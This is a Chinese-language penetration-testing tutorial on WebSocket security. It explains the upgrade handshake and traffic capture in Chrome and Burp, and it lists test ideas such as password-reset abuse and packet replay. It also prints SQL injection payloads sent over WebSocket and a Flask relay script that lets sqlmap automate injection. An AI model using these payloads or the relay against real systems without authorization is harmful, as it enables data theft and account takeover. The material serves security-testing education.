Websocket渗透测试指北


Intro

Websocket是与HTTP平级的、基于TCP的传输协议,工作在应用层上,是对HTTP应用场景的一种补充。

HTTP协议是非持久化的,在HTTP 1.0中,发送一个Request接受一个Response,一次HTTP连接就结束了。在HTTP 1.1中新增了一个Connection: keep alive请求头,允许发送多个Request接受多个Response再结束一次HTTP连接,但要注意:

  • Request数量 == Response数量
  • 在接收到客户端的Request前,服务端不能主动返回Response

这就导致如果服务端出现状态变化,客户端就要不断主动Request获取时不时的状态变化,即“轮询”。又由于HTTP协议是无状态的,没有记忆,websocket协议的出现就弥补了这些不足,其在通过HTTP协议进行初次握手后,可以双向主动发起会话,这在股票基金交易、聊天室/弹幕以及多人协同文档等场景下有着很好的应用。

比如B站的弹幕:

可以理解为HTTP 1.1是半双工模式,而后来的HTTP 2.0已经是全双工模式,允许服务端主动向客户端发送数据。这是后话了。

更多细节,参见RFC 6455

Websocket长啥样

先看最初的HTTP握手包:

GET /sub HTTP/1.1 (或wss://hw-sh-live-comet-04.chat.bilibili.com/sub,展示形式不同)
Host: tx-sh-live-comet-04.chat.bilibili.com
Connection: Upgrade
Upgrade: websocket
Origin: https://live.bilibili.com
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Sec-WebSocket-Key: +lZKyoCwKSYgfhIrKpAjFw==

相比于常见的HTTP包有点区别,Connection被设置为Upgrade表示客户端想要升级协议,而要升级到的就是Upgrade设置的websocketSec-WebSocket-Key这一串Base64是浏览器随机生成用于与服务端校验的。Sec-WebSocket-Version显然表示协议版本。

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: X4IZXBk8yPzOx/jXop7coNUT+m8=

服务器回应了 101 状态码表示切换协议,Upgrade到websocket。且服务端计算后回返回Sec-WebSocket-Accept作为加密后的key。

接下来就开始了Websocket的传输,在完成一次HTTP握手后就已经建立了这一次持久连接,接下来的通讯就都是在这一次持久连接中的。

之后的websocket传输内容如图:

在Chrome的开发者工具中可以对Websocket内容单独过滤查看,但注意,必须要从一开始就开启开发者工具栏,抓到最初的HTTP握手包以后,才能看到后续的Message内容。比如你已经在看着直播,中途打开Network面板是看不到此时加载的Websocket Messages的。所以有些情况下你按F12看不到页面明明正在传输的内容,这时候刷新再重新看WS就好了。这也会是某些情况下,你在与页面交互却没有观察到任何网络请求的可能原因。

在Chrome中,WS Messages的Data左侧有两种小箭头,绿色向上是客户端发给服务端的,红色向下是服务端发给客户端的,可以用这个来区分传统意义上的“请求”与“响应”。这里可以看到两种数据包的数量并不是相等的(可以先忽略ping/pong的心跳包)。

同样的,Burp在获取到最初的握手包后也可以看到WS通信内容,也标注了传输方向。在较新版本的Burp中(1.7我看还不行)可以右键Send to repeater,此时终于可以重放包和改包,事情变得有意思了起来:

点击Reconnect,箭头所指开关打开,表示此时已经建立了一个HTTP连接,可以进行WS数据的传输,左侧也区分了To server和To client的数据包。

此外,python也可以使用websockets库与ws连接进行交互:

python3 -m websockets ws://0sec.com.cn/ws/

Websocket测什么

如果通信是目的,那么协议只是手段——这点在车联网、IOT中也同样适用。当我们能获取到明文的数据包传输后,安全测试的内容也就大同小异了。

简单的,

发送的验证码被ws包传递到C/S端,从而可以任意重置用户密码:

重放传输中的某一个包,无限抽奖:

Websocket协议下的sql注入:

> {"message":"available","params":"3", "token": "3858e6449c9c4a0e8f58c88964078fc94c03a4bd1373f57bc1f96fa3ea73629e"}
< {"status":"200","message":"I'm sorry, this membership plan is currently unavailable.","token":"904351cd5aa1e6c03dd19594dd915a1e5d1b9ec2fe393a1b8613901a03ea0ab5","debug":"[id: 3]"}

> {"message":"available","params":"3'", "token": "904351cd5aa1e6c03dd19594dd915a1e5d1b9ec2fe393a1b8613901a03ea0ab5"}
< {"status":"200","message":"I'm sorry, this membership plan is currently unavailable.","token":"ea2663615bfd00c6bb3f4638d6de15324b231a65df3d431633701a187a859c7f","debug":"[id: 3']"}

> {"message":"available","params":"3 or 1=1", "token": "6159bbf250c19fbee0b57c19557bcc63aa17df9420c03cfd60c26825b336cf2b"}
< {"status":"200","message":"Good news! This membership plan is available.","token":"276d1d23f8ff41e50b92813f3ea84dd6b0bc8751a98593ee2ef8dad4cf02d716","debug":"[id: 1, name: 1-month]"}

> {"message":"available","params":"3 union select 1,2", "token": "276d1d23f8ff41e50b92813f3ea84dd6b0bc8751a98593ee2ef8dad4cf02d716"}
< {"status":"200","message":"Good news! This membership plan is available.","token":"f9b5fbc2a75ab1a5066af29319b5b6e57a990ffa1b010a03d7592336a26906bb","debug":"[id: 1, name: 2]"} # 回显位置

由于sqlmap并不支持websocket协议,可以通过Flask搭建中转代理,再使用sqlmap帮助自动化注入:

import json
import signal
import websocket
from flask import *


app = Flask(__name__)


@app.route("/")
def index():
    ws = websocket.create_connection('ws://*******/ws/')
    data = ws.recv()
    token = json.loads(data)['token'] # 鉴权
    params = request.args['params'] # sqlmap请求的参数
    ws.send(f'{{"message":"available","params":"{params}", "token": "{token}"}}')
    data = ws.recv()
    return json.loads(data)['debug']


if __name__ == "__main__":
    app.run(debug=True)

然后把Flask开在本地5000端口,

sqlmap -u http://127.0.0.1:5000/?params=1

即可。

综上可见,Websocket协议下的渗透测试与传统HTTP协议的并没有什么不同,重点仅在于与WS连接交互的方式。

当正常获取到数据包的明文内容后,即可进行传统的Web漏洞(如SQL注入)或逻辑漏洞(如越权、重放)等尝试。

文章目录
  1. 1. Intro
  2. 2. Websocket长啥样
  3. 3. Websocket测什么
|